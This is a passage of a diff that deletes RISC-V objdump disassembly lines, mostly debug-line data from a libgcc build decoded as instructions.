-    2c08:	0100                	addi	s0,sp,128
-    2c0a:	1805                	addi	a6,a6,-31
-    2c0c:	04097903          	0x4097903
-    2c10:	0100                	addi	s0,sp,128
-    2c12:	1105                	addi	sp,sp,-31
-    2c14:	02090703          	lb	a4,32(s2)
-    2c18:	0100                	addi	s0,sp,128
-    2c1a:	0505                	addi	a0,a0,1
-    2c1c:	02090003          	lb	zero,32(s2)
-    2c20:	0100                	addi	s0,sp,128
-    2c22:	1105                	addi	sp,sp,-31
-    2c24:	04090003          	lb	zero,64(s2)
-    2c28:	0100                	addi	s0,sp,128
-    2c2a:	0505                	addi	a0,a0,1
-    2c2c:	02090003          	lb	zero,32(s2)
-    2c30:	0100                	addi	s0,sp,128
-    2c32:	2005                	jal	2c52 <__stack_size+0x2452>
-    2c34:	0200                	addi	s0,sp,256
-    2c36:	0104                	addi	s1,sp,128
-    2c38:	04090003          	lb	zero,64(s2)
-    2c3c:	0100                	addi	s0,sp,128
-    2c3e:	0205                	addi	tp,tp,1
-    2c40:	0306                	slli	t1,t1,0x1
-    2c42:	00080903          	lb	s2,0(a6) # ffff9000 <_heap_end+0x7ffea800>
-    2c46:	0501                	addi	a0,a0,0
-    2c48:	060c                	addi	a1,sp,768
-    2c4a:	00090003          	lb	zero,0(s2)
-    2c4e:	0100                	addi	s0,sp,128
-    2c50:	0205                	addi	tp,tp,1
-    2c52:	0306                	slli	t1,t1,0x1
-    2c54:	0901                	addi	s2,s2,0
-    2c56:	0002                	c.slli64	zero
-    2c58:	0501                	addi	a0,a0,0
-    2c5a:	00030613          	mv	a2,t1
-    2c5e:	0009                	c.nop	2
-    2c60:	0100                	addi	s0,sp,128
-    2c62:	0b05                	addi	s6,s6,1
-    2c64:	02097d03          	0x2097d03
-    2c68:	0100                	addi	s0,sp,128
-    2c6a:	0105                	addi	sp,sp,1
-    2c6c:	02090403          	lb	s0,32(s2)
-    2c70:	0100                	addi	s0,sp,128
-    2c72:	0209                	addi	tp,tp,2
-    2c74:	0000                	unimp
-    2c76:	0101                	addi	sp,sp,0
-    2c78:	1705                	addi	a4,a4,-31
-    2c7a:	0500                	addi	s0,sp,640
-    2c7c:	4a02                	lw	s4,0(sp)
-    2c7e:	0320402b          	0x320402b
-    2c82:	0128                	addi	a0,sp,136
-    2c84:	0205                	addi	tp,tp,1
-    2c86:	00090303          	lb	t1,0(s2)
-    2c8a:	0100                	addi	s0,sp,128
-    2c8c:	0105                	addi	sp,sp,1
-    2c8e:	0306                	slli	t1,t1,0x1
-    2c90:	0902                	c.slli64	s2
-    2c92:	0000                	unimp
-    2c94:	0901                	addi	s2,s2,0
-    2c96:	0006                	c.slli	zero,0x1
-    2c98:	0100                	addi	s0,sp,128
-    2c9a:	0501                	addi	a0,a0,0
-    2c9c:	002a                	c.slli	zero,0xa
-    2c9e:	0205                	addi	tp,tp,1
-    2ca0:	2b50                	fld	fa2,144(a4)
-    2ca2:	2040                	fld	fs0,128(s0)
-    2ca4:	05013003          	0x5013003
-    2ca8:	0302                	c.slli64	t1
-    2caa:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
-    2cae:	0501                	addi	a0,a0,0
-    2cb0:	0601                	addi	a2,a2,0
-    2cb2:	00090103          	lb	sp,0(s2)
-    2cb6:	0100                	addi	s0,sp,128
-    2cb8:	0409                	addi	s0,s0,2
-    2cba:	0000                	unimp
-    2cbc:	0101                	addi	sp,sp,0
-    2cbe:	3205                	jal	25de <__stack_size+0x1dde>
-    2cc0:	0500                	addi	s0,sp,640
-    2cc2:	5402                	lw	s0,32(sp)
-    2cc4:	0320402b          	0x320402b
-    2cc8:	02050137          	lui	sp,0x2050
-    2ccc:	00090403          	lb	s0,0(s2)
-    2cd0:	0100                	addi	s0,sp,128
-    2cd2:	3205                	jal	25f2 <__stack_size+0x1df2>
-    2cd4:	0306                	slli	t1,t1,0x1
-    2cd6:	097c                	addi	a5,sp,156
-    2cd8:	0000                	unimp
-    2cda:	0501                	addi	a0,a0,0
-    2cdc:	0306                	slli	t1,t1,0x1
-    2cde:	0904                	addi	s1,sp,144
-    2ce0:	0002                	c.slli64	zero
-    2ce2:	0501                	addi	a0,a0,0
-    2ce4:	0332                	slli	t1,t1,0xc
-    2ce6:	097c                	addi	a5,sp,156
-    2ce8:	0008                	0x8
-    2cea:	0501                	addi	a0,a0,0
-    2cec:	0306                	slli	t1,t1,0x1
-    2cee:	0904                	addi	s1,sp,144
-    2cf0:	0002                	c.slli64	zero
-    2cf2:	0501                	addi	a0,a0,0
-    2cf4:	0305                	addi	t1,t1,1
-    2cf6:	0900                	addi	s0,sp,144
-    2cf8:	0004                	0x4
-    2cfa:	0501                	addi	a0,a0,0
-    2cfc:	02030603          	lb	a2,32(t1) # ffff9020 <_heap_end+0x7ffea820>
-    2d00:	0209                	addi	tp,tp,2
-    2d02:	0100                	addi	s0,sp,128
-    2d04:	1605                	addi	a2,a2,-31
-    2d06:	0306                	slli	t1,t1,0x1
-    2d08:	0900                	addi	s0,sp,144
-    2d0a:	0000                	unimp
-    2d0c:	0501                	addi	a0,a0,0
-    2d0e:	01030603          	lb	a2,16(t1)
-    2d12:	0a09                	addi	s4,s4,2
-    2d14:	0100                	addi	s0,sp,128
-    2d16:	1905                	addi	s2,s2,-31
-    2d18:	0306                	slli	t1,t1,0x1
-    2d1a:	0900                	addi	s0,sp,144
-    2d1c:	0000                	unimp
-    2d1e:	0501                	addi	a0,a0,0
-    2d20:	01030603          	lb	a2,16(t1)
-    2d24:	0409                	addi	s0,s0,2
-    2d26:	0100                	addi	s0,sp,128
-    2d28:	1905                	addi	s2,s2,-31
-    2d2a:	0306                	slli	t1,t1,0x1
-    2d2c:	0900                	addi	s0,sp,144
-    2d2e:	0000                	unimp
-    2d30:	0501                	addi	a0,a0,0
-    2d32:	0606                	slli	a2,a2,0x1
-    2d34:	02090103          	lb	sp,32(s2)
-    2d38:	0100                	addi	s0,sp,128
-    2d3a:	1c05                	addi	s8,s8,-31
-    2d3c:	0306                	slli	t1,t1,0x1
-    2d3e:	0900                	addi	s0,sp,144
-    2d40:	0000                	unimp
-    2d42:	0501                	addi	a0,a0,0
-    2d44:	02030603          	lb	a2,32(t1)
-    2d48:	0409                	addi	s0,s0,2
-    2d4a:	0100                	addi	s0,sp,128
-    2d4c:	0105                	addi	sp,sp,1
-    2d4e:	0306                	slli	t1,t1,0x1
-    2d50:	0905                	addi	s2,s2,1
-    2d52:	0000                	unimp
-    2d54:	0501                	addi	a0,a0,0
-    2d56:	0309                	addi	t1,t1,2
-    2d58:	097f                	0x97f
-    2d5a:	0006                	c.slli	zero,0x1
-    2d5c:	0901                	addi	s2,s2,0
-    2d5e:	0004                	0x4
-    2d60:	0100                	addi	s0,sp,128
-    2d62:	0501                	addi	a0,a0,0
-    2d64:	002c                	addi	a1,sp,8
-    2d66:	0205                	addi	tp,tp,1
-    2d68:	2b84                	fld	fs1,16(a5)
-    2d6a:	2040                	fld	fs0,128(s0)
-    2d6c:	0100ca03          	lbu	s4,16(ra)
-    2d70:	0205                	addi	tp,tp,1
-    2d72:	00090303          	lb	t1,0(s2)
-    2d76:	0100                	addi	s0,sp,128
-    2d78:	2c05                	jal	2fa8 <__stack_size+0x27a8>
-    2d7a:	0306                	slli	t1,t1,0x1
-    2d7c:	097d                	addi	s2,s2,31
-    2d7e:	0000                	unimp
-    2d80:	0301                	addi	t1,t1,0
-    2d82:	0900                	addi	s0,sp,144
-    2d84:	0008                	0x8
-    2d86:	0501                	addi	a0,a0,0
-    2d88:	0306                	slli	t1,t1,0x1
-    2d8a:	00040903          	lb	s2,0(s0) # ffff8000 <_heap_end+0x7ffe9800>
-    2d8e:	0501                	addi	a0,a0,0
-    2d90:	0305                	addi	t1,t1,1
-    2d92:	0900                	addi	s0,sp,144
-    2d94:	0004                	0x4
-    2d96:	0501                	addi	a0,a0,0
-    2d98:	0902030b          	0x902030b
-    2d9c:	0002                	c.slli64	zero
-    2d9e:	0501                	addi	a0,a0,0
-    2da0:	0322                	slli	t1,t1,0x8
-    2da2:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
-    2da6:	0501                	addi	a0,a0,0
-    2da8:	0608                	addi	a0,sp,768
-    2daa:	04090003          	lb	zero,64(s2)
-    2dae:	0100                	addi	s0,sp,128
-    2db0:	2205                	jal	2ed0 <__stack_size+0x26d0>
-    2db2:	0200                	addi	s0,sp,256
-    2db4:	0104                	addi	s1,sp,128
-    2db6:	0306                	slli	t1,t1,0x1
-    2db8:	0900                	addi	s0,sp,144
-    2dba:	0004                	0x4
-    2dbc:	0501                	addi	a0,a0,0
-    2dbe:	0014                	0x14
-    2dc0:	0402                	c.slli64	s0
-    2dc2:	0301                	addi	t1,t1,0
-    2dc4:	0900                	addi	s0,sp,144
-    2dc6:	0002                	c.slli64	zero
-    2dc8:	0501                	addi	a0,a0,0
-    2dca:	0301                	addi	t1,t1,0
-    2dcc:	0909                	addi	s2,s2,2
-    2dce:	0004                	0x4
-    2dd0:	0501                	addi	a0,a0,0
-    2dd2:	0604                	addi	s1,sp,768
-    2dd4:	0a097803          	0xa097803
-    2dd8:	0100                	addi	s0,sp,128
-    2dda:	0b05                	addi	s6,s6,1
-    2ddc:	0306                	slli	t1,t1,0x1
-    2dde:	0900                	addi	s0,sp,144
-    2de0:	0000                	unimp
-    2de2:	0501                	addi	a0,a0,0
-    2de4:	030d                	addi	t1,t1,3
-    2de6:	0900                	addi	s0,sp,144
-    2de8:	0004                	0x4
-    2dea:	0501                	addi	a0,a0,0
-    2dec:	0604                	addi	s1,sp,768
-    2dee:	04090103          	lb	sp,64(s2)
-    2df2:	0100                	addi	s0,sp,128
-    2df4:	0905                	addi	s2,s2,1
-    2df6:	0306                	slli	t1,t1,0x1
-    2df8:	0900                	addi	s0,sp,144
-    2dfa:	0000                	unimp
-    2dfc:	0301                	addi	t1,t1,0
-    2dfe:	0906                	slli	s2,s2,0x1
-    2e00:	0004                	0x4
-    2e02:	0901                	addi	s2,s2,0
-    2e04:	0004                	0x4
-    2e06:	0100                	addi	s0,sp,128
-    2e08:	0501                	addi	a0,a0,0
-    2e0a:	0036                	c.slli	zero,0xd
-    2e0c:	0205                	addi	tp,tp,1
-    2e0e:	2bc0                	fld	fs0,144(a5)
-    2e10:	2040                	fld	fs0,128(s0)
-    2e12:	0100de03          	lhu	t3,16(ra)
-    2e16:	0205                	addi	tp,tp,1
-    2e18:	00090303          	lb	t1,0(s2)
-    2e1c:	0100                	addi	s0,sp,128
-    2e1e:	3605                	jal	293e <__stack_size+0x213e>
-    2e20:	0306                	slli	t1,t1,0x1
-    2e22:	097d                	addi	s2,s2,31
-    2e24:	0000                	unimp
-    2e26:	0301                	addi	t1,t1,0
-    2e28:	0900                	addi	s0,sp,144
-    2e2a:	0008                	0x8
-    2e2c:	0501                	addi	a0,a0,0
-    2e2e:	0306                	slli	t1,t1,0x1
-    2e30:	00040903          	lb	s2,0(s0)
-    2e34:	0501                	addi	a0,a0,0
-    2e36:	0305                	addi	t1,t1,1
-    2e38:	0900                	addi	s0,sp,144
-    2e3a:	0004                	0x4
-    2e3c:	0501                	addi	a0,a0,0
-    2e3e:	0906030b          	0x906030b
-    2e42:	0008                	0x8
-    2e44:	0501                	addi	a0,a0,0
-    2e46:	09040307          	0x9040307
-    2e4a:	0004                	0x4
-    2e4c:	0501                	addi	a0,a0,0
-    2e4e:	0902031b          	0x902031b
-    2e52:	0002                	c.slli64	zero
-    2e54:	0501                	addi	a0,a0,0
-    2e56:	0016                	c.slli	zero,0x5
-    2e58:	0402                	c.slli64	s0
-    2e5a:	0601                	addi	a2,a2,0
-    2e5c:	02097803          	0x2097803
-    2e60:	0100                	addi	s0,sp,128
-    2e62:	0305                	addi	t1,t1,1
-    2e64:	0200                	addi	s0,sp,256
-    2e66:	0104                	addi	s1,sp,128
-    2e68:	0306                	slli	t1,t1,0x1
-    2e6a:	0900                	addi	s0,sp,144
-    2e6c:	0000                	unimp
-    2e6e:	0501                	addi	a0,a0,0
-    2e70:	0301                	addi	t1,t1,0
-    2e72:	0911                	addi	s2,s2,4
-    2e74:	0004                	0x4
-    2e76:	0501                	addi	a0,a0,0
-    2e78:	0402002f          	0x402002f
-    2e7c:	0601                	addi	a2,a2,0
-    2e7e:	0c097103          	0xc097103
-    2e82:	0100                	addi	s0,sp,128
-    2e84:	0a05                	addi	s4,s4,1
-    2e86:	0200                	addi	s0,sp,256
-    2e88:	0104                	addi	s1,sp,128
-    2e8a:	00090003          	lb	zero,0(s2)
-    2e8e:	0100                	addi	s0,sp,128
-    2e90:	0b05                	addi	s6,s6,1
-    2e92:	0200                	addi	s0,sp,256
-    2e94:	0104                	addi	s1,sp,128
-    2e96:	0306                	slli	t1,t1,0x1
-    2e98:	0900                	addi	s0,sp,144
-    2e9a:	0000                	unimp
-    2e9c:	0501                	addi	a0,a0,0
-    2e9e:	000a                	c.slli	zero,0x2
-    2ea0:	0402                	c.slli64	s0
-    2ea2:	0301                	addi	t1,t1,0
-    2ea4:	0900                	addi	s0,sp,144
-    2ea6:	0002                	c.slli64	zero
-    2ea8:	0501                	addi	a0,a0,0
-    2eaa:	0604                	addi	s1,sp,768
-    2eac:	04090203          	lb	tp,64(s2)
-    2eb0:	0100                	addi	s0,sp,128
-    2eb2:	2005                	jal	2ed2 <__stack_size+0x26d2>
-    2eb4:	0306                	slli	t1,t1,0x1
-    2eb6:	0900                	addi	s0,sp,144
-    2eb8:	0000                	unimp
-    2eba:	0501                	addi	a0,a0,0
-    2ebc:	031a                	slli	t1,t1,0x6
-    2ebe:	0900                	addi	s0,sp,144
-    2ec0:	0004                	0x4
-    2ec2:	0501                	addi	a0,a0,0
-    2ec4:	0604                	addi	s1,sp,768
-    2ec6:	02090203          	lb	tp,32(s2)
-    2eca:	0100                	addi	s0,sp,128
-    2ecc:	0705                	addi	a4,a4,1
-    2ece:	0306                	slli	t1,t1,0x1
-    2ed0:	0900                	addi	s0,sp,144
-    2ed2:	0000                	unimp
-    2ed4:	0501                	addi	a0,a0,0
-    2ed6:	0030                	addi	a2,sp,8
-    2ed8:	0402                	c.slli64	s0
-    2eda:	0601                	addi	a2,a2,0
-    2edc:	08090103          	lb	sp,128(s2)
-    2ee0:	0100                	addi	s0,sp,128
-    2ee2:	0b05                	addi	s6,s6,1
-    2ee4:	0200                	addi	s0,sp,256
-    2ee6:	0104                	addi	s1,sp,128
-    2ee8:	00090003          	lb	zero,0(s2)
-    2eec:	0100                	addi	s0,sp,128
-    2eee:	0c05                	addi	s8,s8,1
-    2ef0:	0200                	addi	s0,sp,256
-    2ef2:	0104                	addi	s1,sp,128
-    2ef4:	0306                	slli	t1,t1,0x1
-    2ef6:	0900                	addi	s0,sp,144
-    2ef8:	0000                	unimp
-    2efa:	0501                	addi	a0,a0,0
-    2efc:	0402000b          	0x402000b
-    2f00:	0301                	addi	t1,t1,0
-    2f02:	0900                	addi	s0,sp,144
-    2f04:	0002                	c.slli64	zero
-    2f06:	0501                	addi	a0,a0,0
-    2f08:	0605                	addi	a2,a2,1
-    2f0a:	04090103          	lb	sp,64(s2)
-    2f0e:	0100                	addi	s0,sp,128
-    2f10:	1b05                	addi	s6,s6,-31
-    2f12:	0306                	slli	t1,t1,0x1
-    2f14:	0900                	addi	s0,sp,144
-    2f16:	0000                	unimp
-    2f18:	0501                	addi	a0,a0,0
-    2f1a:	001f 0402 0602      	0x6020402001f
-    2f20:	02097803          	0x2097803
-    2f24:	0100                	addi	s0,sp,128
-    2f26:	0905                	addi	s2,s2,1
-    2f28:	0306                	slli	t1,t1,0x1
-    2f2a:	0910                	addi	a2,sp,144
-    2f2c:	0004                	0x4
-    2f2e:	0901                	addi	s2,s2,0
-    2f30:	0004                	0x4
-    2f32:	0100                	addi	s0,sp,128
-    2f34:	2901                	jal	3344 <__stack_size+0x2b44>
-    2f36:	0001                	nop
-    2f38:	0300                	addi	s0,sp,384
-    2f3a:	4f00                	lw	s0,24(a4)
-    2f3c:	0000                	unimp
-    2f3e:	0100                	addi	s0,sp,128
-    2f40:	fb01                	bnez	a4,2e50 <__stack_size+0x2650>
-    2f42:	0d0e                	slli	s10,s10,0x3
-    2f44:	0100                	addi	s0,sp,128
-    2f46:	0101                	addi	sp,sp,0
-    2f48:	0001                	nop
-    2f4a:	0000                	unimp
-    2f4c:	0001                	nop
-    2f4e:	0100                	addi	s0,sp,128
-    2f50:	2e2e                	fld	ft8,200(sp)
-    2f52:	2f2e2e2f          	0x2f2e2e2f
-    2f56:	2e2e                	fld	ft8,200(sp)
-    2f58:	2f2e2e2f          	0x2f2e2e2f
-    2f5c:	2e2e                	fld	ft8,200(sp)
-    2f5e:	722f2e2f          	0x722f2e2f
-    2f62:	7369                	lui	t1,0xffffa
-    2f64:	672d7663          	bgeu	s10,s2,35d0 <__stack_size+0x2dd0>
-    2f68:	6c2f6363          	bltu	t5,sp,362e <__stack_size+0x2e2e>
-    2f6c:	6269                	lui	tp,0x1a
-    2f6e:	00636367          	0x636367
-    2f72:	6c00                	flw	fs0,24(s0)
-    2f74:	6269                	lui	tp,0x1a
-    2f76:	32636367          	0x32636367
-    2f7a:	632e                	flw	ft6,200(sp)
-    2f7c:	0100                	addi	s0,sp,128
-    2f7e:	0000                	unimp
-    2f80:	696c                	flw	fa1,84(a0)
-    2f82:	6762                	flw	fa4,24(sp)
-    2f84:	2e326363          	bltu	tp,gp,326a <__stack_size+0x2a6a>
-    2f88:	0068                	addi	a0,sp,12
-    2f8a:	0001                	nop
-    2f8c:	0000                	unimp
-    2f8e:	0105                	addi	sp,sp,1
-    2f90:	0500                	addi	s0,sp,640
-    2f92:	1402                	slli	s0,s0,0x20
-    2f94:	402c                	lw	a1,64(s0)
-    2f96:	0320                	addi	s0,sp,392
-    2f98:	0394                	addi	a3,sp,448
-    2f9a:	0501                	addi	a0,a0,0
-    2f9c:	09010303          	lb	t1,144(sp) # 2050090 <__stack_size+0x204f890>
-    2fa0:	0000                	unimp
-    2fa2:	0501                	addi	a0,a0,0
-    2fa4:	0606                	slli	a2,a2,0x1
-    2fa6:	00090003          	lb	zero,0(s2)
-    2faa:	0100                	addi	s0,sp,128
-    2fac:	0305                	addi	t1,t1,1
-    2fae:	0306                	slli	t1,t1,0x1
-    2fb0:	00020903          	lb	s2,0(tp) # 1a000 <__stack_size+0x19800>
-    2fb4:	0301                	addi	t1,t1,0
-    2fb6:	0901                	addi	s2,s2,0
-    2fb8:	0000                	unimp
-    2fba:	0501                	addi	a0,a0,0
-    2fbc:	061a                	slli	a2,a2,0x6
-    2fbe:	00090003          	lb	zero,0(s2)
-    2fc2:	0100                	addi	s0,sp,128
-    2fc4:	0305                	addi	t1,t1,1
-    2fc6:	0306                	slli	t1,t1,0x1
-    2fc8:	0901                	addi	s2,s2,0
-    2fca:	0006                	c.slli	zero,0x1
-    2fcc:	0301                	addi	t1,t1,0
-    2fce:	0902                	c.slli64	s2
-    2fd0:	0000                	unimp
-    2fd2:	0501                	addi	a0,a0,0
-    2fd4:	0606                	slli	a2,a2,0x1
-    2fd6:	00090003          	lb	zero,0(s2)
-    2fda:	0100                	addi	s0,sp,128
-    2fdc:	0705                	addi	a4,a4,1
-    2fde:	0306                	slli	t1,t1,0x1
-    2fe0:	0902                	c.slli64	s2
-    2fe2:	0004                	0x4
-    2fe4:	0501                	addi	a0,a0,0
-    2fe6:	01030627          	0x1030627
-    2fea:	0009                	c.nop	2
-    2fec:	0100                	addi	s0,sp,128
-    2fee:	1005                	c.nop	-31
-    2ff0:	04097f03          	0x4097f03
-    2ff4:	0100                	addi	s0,sp,128
-    2ff6:	0705                	addi	a4,a4,1
-    2ff8:	0306                	slli	t1,t1,0x1
-    2ffa:	0901                	addi	s2,s2,0
-    2ffc:	0002                	c.slli64	zero
-    2ffe:	0501                	addi	a0,a0,0
-    3000:	0624                	addi	s1,sp,776
-    3002:	00090003          	lb	zero,0(s2)
-    3006:	0100                	addi	s0,sp,128
-    3008:	0305                	addi	t1,t1,1
-    300a:	0306                	slli	t1,t1,0x1
-    300c:	090a                	slli	s2,s2,0x2
-    300e:	0004                	0x4
-    3010:	0501                	addi	a0,a0,0
-    3012:	0003060b          	0x3060b
-    3016:	0009                	c.nop	2
-    3018:	0100                	addi	s0,sp,128
-    301a:	0105                	addi	sp,sp,1
-    301c:	02090103          	lb	sp,32(s2)
-    3020:	0100                	addi	s0,sp,128
-    3022:	0705                	addi	a4,a4,1
-    3024:	0306                	slli	t1,t1,0x1
-    3026:	0979                	addi	s2,s2,30
-    3028:	0002                	c.slli64	zero
-    302a:	0301                	addi	t1,t1,0
-    302c:	0902                	c.slli64	s2
-    302e:	0000                	unimp
-    3030:	0501                	addi	a0,a0,0
-    3032:	0625                	addi	a2,a2,9
-    3034:	00090003          	lb	zero,0(s2)
-    3038:	0100                	addi	s0,sp,128
-    303a:	0705                	addi	a4,a4,1
-    303c:	0306                	slli	t1,t1,0x1
-    303e:	0901                	addi	s2,s2,0
-    3040:	0004                	0x4
-    3042:	0501                	addi	a0,a0,0
-    3044:	0624                	addi	s1,sp,776
-    3046:	00090003          	lb	zero,0(s2)
-    304a:	0100                	addi	s0,sp,128
-    304c:	1405                	addi	s0,s0,-31
-    304e:	04097d03          	0x4097d03
-    3052:	0100                	addi	s0,sp,128
-    3054:	2a05                	jal	3184 <__stack_size+0x2984>
-    3056:	04090303          	lb	t1,64(s2)
-    305a:	0100                	addi	s0,sp,128
-    305c:	0409                	addi	s0,s0,2
-    305e:	0000                	unimp
-    3060:	0101                	addi	sp,sp,0
-    3062:	0000074b          	fnmsub.s	fa4,ft0,ft0,ft0,rne
-    3066:	004f0003          	lb	zero,4(t5) # 1a004 <__stack_size+0x19804>
-    306a:	0000                	unimp
-    306c:	0101                	addi	sp,sp,0
-    306e:	000d0efb          	0xd0efb
-    3072:	0101                	addi	sp,sp,0
-    3074:	0101                	addi	sp,sp,0
-    3076:	0000                	unimp
-    3078:	0100                	addi	s0,sp,128
-    307a:	0000                	unimp
-    307c:	2e01                	jal	338c <__stack_size+0x2b8c>
-    307e:	2f2e                	fld	ft10,200(sp)
-    3080:	2e2e                	fld	ft8,200(sp)
-    3082:	2f2e2e2f          	0x2f2e2e2f
-    3086:	2e2e                	fld	ft8,200(sp)
-    3088:	2f2e2e2f          	0x2f2e2e2f
-    308c:	2f2e                	fld	ft10,200(sp)
-    308e:	6972                	flw	fs2,28(sp)
-    3090:	2d766373          	csrrsi	t1,0x2d7,12
-    3094:	2f636367          	0x2f636367
-    3098:	696c                	flw	fa1,84(a0)
-    309a:	6762                	flw	fa4,24(sp)
-    309c:	00006363          	bltu	zero,zero,30a2 <__stack_size+0x28a2>
-    30a0:	696c                	flw	fa1,84(a0)
-    30a2:	6762                	flw	fa4,24(sp)
-    30a4:	2e326363          	bltu	tp,gp,338a <__stack_size+0x2b8a>
-    30a8:	00010063          	beqz	sp,30a8 <__stack_size+0x28a8>
-    30ac:	6c00                	flw	fs0,24(s0)
-    30ae:	6269                	lui	tp,0x1a
-    30b0:	32636367          	0x32636367
-    30b4:	682e                	flw	fa6,200(sp)
-    30b6:	0100                	addi	s0,sp,128
-    30b8:	0000                	unimp
-    30ba:	0500                	addi	s0,sp,640
-    30bc:	0001                	nop
-    30be:	0205                	addi	tp,tp,1
-    30c0:	2c3e                	fld	fs8,456(sp)
-    30c2:	2040                	fld	fs0,128(s0)
-    30c4:	010aa603          	lw	a2,16(s5)
-    30c8:	0305                	addi	t1,t1,1
-    30ca:	00090103          	lb	sp,0(s2)
-    30ce:	0100                	addi	s0,sp,128
-    30d0:	0105                	addi	sp,sp,1
-    30d2:	0306                	slli	t1,t1,0x1
-    30d4:	097f                	0x97f
-    30d6:	0000                	unimp
-    30d8:	0501                	addi	a0,a0,0
-    30da:	d2030603          	lb	a2,-736(t1) # ffff9d20 <_heap_end+0x7ffeb520>
-    30de:	097d                	addi	s2,s2,31
-    30e0:	0002                	c.slli64	zero
-    30e2:	0301                	addi	t1,t1,0
-    30e4:	0901                	addi	s2,s2,0
-    30e6:	0000                	unimp
-    30e8:	0301                	addi	t1,t1,0
-    30ea:	0901                	addi	s2,s2,0
-    30ec:	0000                	unimp
-    30ee:	0301                	addi	t1,t1,0
-    30f0:	0901                	addi	s2,s2,0
-    30f2:	0000                	unimp
-    30f4:	0301                	addi	t1,t1,0
-    30f6:	0901                	addi	s2,s2,0
-    30f8:	0000                	unimp
-    30fa:	0301                	addi	t1,t1,0
-    30fc:	0901                	addi	s2,s2,0
-    30fe:	0000                	unimp
-    3100:	0301                	addi	t1,t1,0
-    3102:	0902                	c.slli64	s2
-    3104:	0000                	unimp
-    3106:	0501                	addi	a0,a0,0
-    3108:	0601                	addi	a2,a2,0
-    310a:	0902a703          	lw	a4,144(t0)
-    310e:	0000                	unimp
-    3110:	0501                	addi	a0,a0,0
-    3112:	0306                	slli	t1,t1,0x1
-    3114:	7dd9                	lui	s11,0xffff6
-    3116:	0209                	addi	tp,tp,2
-    3118:	0100                	addi	s0,sp,128
-    311a:	0305                	addi	t1,t1,1
-    311c:	0306                	slli	t1,t1,0x1
-    311e:	0901                	addi	s2,s2,0
-    3120:	0002                	c.slli64	zero
-    3122:	0501                	addi	a0,a0,0
-    3124:	0606                	slli	a2,a2,0x1
-    3126:	00090003          	lb	zero,0(s2)
-    312a:	0100                	addi	s0,sp,128
-    312c:	0305                	addi	t1,t1,1
-    312e:	0306                	slli	t1,t1,0x1
-    3130:	0901                	addi	s2,s2,0
-    3132:	0002                	c.slli64	zero
-    3134:	0501                	addi	a0,a0,0
-    3136:	0606                	slli	a2,a2,0x1
-    3138:	00090003          	lb	zero,0(s2)
-    313c:	0100                	addi	s0,sp,128
-    313e:	0305                	addi	t1,t1,1
-    3140:	0306                	slli	t1,t1,0x1
-    3142:	0901                	addi	s2,s2,0
-    3144:	0002                	c.slli64	zero
-    3146:	0301                	addi	t1,t1,0
-    3148:	0925                	addi	s2,s2,9
-    314a:	0000                	unimp
-    314c:	0501                	addi	a0,a0,0
-    314e:	0606                	slli	a2,a2,0x1
-    3150:	00090003          	lb	zero,0(s2)
-    3154:	0100                	addi	s0,sp,128
-    3156:	0705                	addi	a4,a4,1
-    3158:	0306                	slli	t1,t1,0x1
-    315a:	0902                	c.slli64	s2
-    315c:	0004                	0x4
-    315e:	0501                	addi	a0,a0,0
-    3160:	060a                	slli	a2,a2,0x2
-    3162:	08090003          	lb	zero,128(s2)
-    3166:	0100                	addi	s0,sp,128
-    3168:	0405                	addi	s0,s0,1
-    316a:	0306                	slli	t1,t1,0x1
-    316c:	0904                	addi	s1,sp,144
-    316e:	0004                	0x4
-    3170:	0301                	addi	t1,t1,0
-    3172:	0900                	addi	s0,sp,144
-    3174:	0000                	unimp
-    3176:	0301                	addi	t1,t1,0
-    3178:	0900                	addi	s0,sp,144
-    317a:	0000                	unimp
-    317c:	0301                	addi	t1,t1,0
-    317e:	0900                	addi	s0,sp,144
-    3180:	0000                	unimp
-    3182:	0301                	addi	t1,t1,0
-    3184:	0900                	addi	s0,sp,144
-    3186:	0000                	unimp
-    3188:	0301                	addi	t1,t1,0
-    318a:	0900                	addi	s0,sp,144
-    318c:	0010                	0x10
-    318e:	0301                	addi	t1,t1,0
-    3190:	0900                	addi	s0,sp,144
-    3192:	0014                	0x14
-    3194:	0301                	addi	t1,t1,0
-    3196:	0902                	c.slli64	s2
-    3198:	0000                	unimp
-    319a:	0501                	addi	a0,a0,0
-    319c:	00030607          	0x30607
-    31a0:	0009                	c.nop	2
-    31a2:	0100                	addi	s0,sp,128
-    31a4:	0805                	addi	a6,a6,1
-    31a6:	0306                	slli	t1,t1,0x1
-    31a8:	0905                	addi	s2,s2,1
-    31aa:	0004                	0x4
-    31ac:	0501                	addi	a0,a0,0
-    31ae:	0611                	addi	a2,a2,4
-    31b0:	00090103          	lb	sp,0(s2)
-    31b4:	0100                	addi	s0,sp,128
-    31b6:	1e05                	addi	t3,t3,-31
-    31b8:	04090003          	lb	zero,64(s2)
-    31bc:	0100                	addi	s0,sp,128
-    31be:	0b05                	addi	s6,s6,1
-    31c0:	04097f03          	0x4097f03
-    31c4:	0100                	addi	s0,sp,128
-    31c6:	0805                	addi	a6,a6,1
-    31c8:	0306                	slli	t1,t1,0x1
-    31ca:	0901                	addi	s2,s2,0
-    31cc:	0004                	0x4
-    31ce:	0501                	addi	a0,a0,0
-    31d0:	0003060b          	0x3060b
-    31d4:	0009                	c.nop	2
-    31d6:	0100                	addi	s0,sp,128
-    31d8:	0805                	addi	a6,a6,1
-    31da:	0306                	slli	t1,t1,0x1
-    31dc:	0901                	addi	s2,s2,0
-    31de:	0002                	c.slli64	zero
-    31e0:	0501                	addi	a0,a0,0
-    31e2:	0003060b          	0x3060b
-    31e6:	0009                	c.nop	2
-    31e8:	0100                	addi	s0,sp,128
-    31ea:	0405                	addi	s0,s0,1
-    31ec:	0306                	slli	t1,t1,0x1
-    31ee:	00040903          	lb	s2,0(s0)
-    31f2:	0301                	addi	t1,t1,0
-    31f4:	0900                	addi	s0,sp,144
-    31f6:	0000                	unimp
-    31f8:	0301                	addi	t1,t1,0
-    31fa:	0900                	addi	s0,sp,144
-    31fc:	0000                	unimp
-    31fe:	0301                	addi	t1,t1,0
-    3200:	0900                	addi	s0,sp,144
-    3202:	0000                	unimp
-    3204:	0301                	addi	t1,t1,0
-    3206:	0900                	addi	s0,sp,144
-    3208:	0004                	0x4
-    320a:	0301                	addi	t1,t1,0
-    320c:	0900                	addi	s0,sp,144
-    320e:	000a                	c.slli	zero,0x2
-    3210:	0301                	addi	t1,t1,0
-    3212:	0900                	addi	s0,sp,144
-    3214:	0008                	0x8
-    3216:	0301                	addi	t1,t1,0
-    3218:	0900                	addi	s0,sp,144
